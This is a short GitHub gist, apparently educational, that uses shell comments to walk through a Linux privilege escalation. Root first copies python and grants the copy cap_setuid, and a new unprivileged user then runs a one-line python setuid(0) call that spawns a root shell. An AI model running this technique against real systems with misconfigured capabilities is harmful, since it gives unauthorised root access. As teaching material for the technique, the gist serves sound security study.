Skip to content

Instantly share code, notes, and snippets.

@Awan
Last active January 16, 2021 20:04
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Awan/21d54ebc7d5396c1abcc295b3361c32e to your computer and use it in GitHub Desktop.
Save Awan/21d54ebc7d5396c1abcc295b3361c32e to your computer and use it in GitHub Desktop.
A gist explaining linux capability privileges escalations
#!/bin/sh
# shellcheck disable=2034
coded_by='
In the name of Allah, the most Gracious, the most Merciful.
▓▓▓▓▓▓▓▓▓▓
░▓ Author ▓ Abdullah <https://abdullah.today>
░▓▓▓▓▓▓▓▓▓▓ YouTube <https://YouTube.com/AbdullahToday>
░░░░░░░░░░
'
# A simple script to explain how privileges escaltion works.
# First we will create a new user.
#
# As root, create a new user, set a password
# useradd -m ak
# passwd ak
# Set capabilities on python, (yeah, definitely as root)
# cp /usr/bin/python /tmp/
# setcap cap_setuid+ep /tmp/python
# Login to new user, add .local/bin to path and copy the vulnerable python
# mkdir ~/.local/bin -p
# export PATH=~/.local/bin/:$PATH
# cp /tmp/python ~/.local/bin/
# As new user ak, now execute this from shell
# ./~/.local/bin/python -c 'import os;os.setuid(0);os.system("/bin/sh")'
# You will get a root shell. Check by invoking id command.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment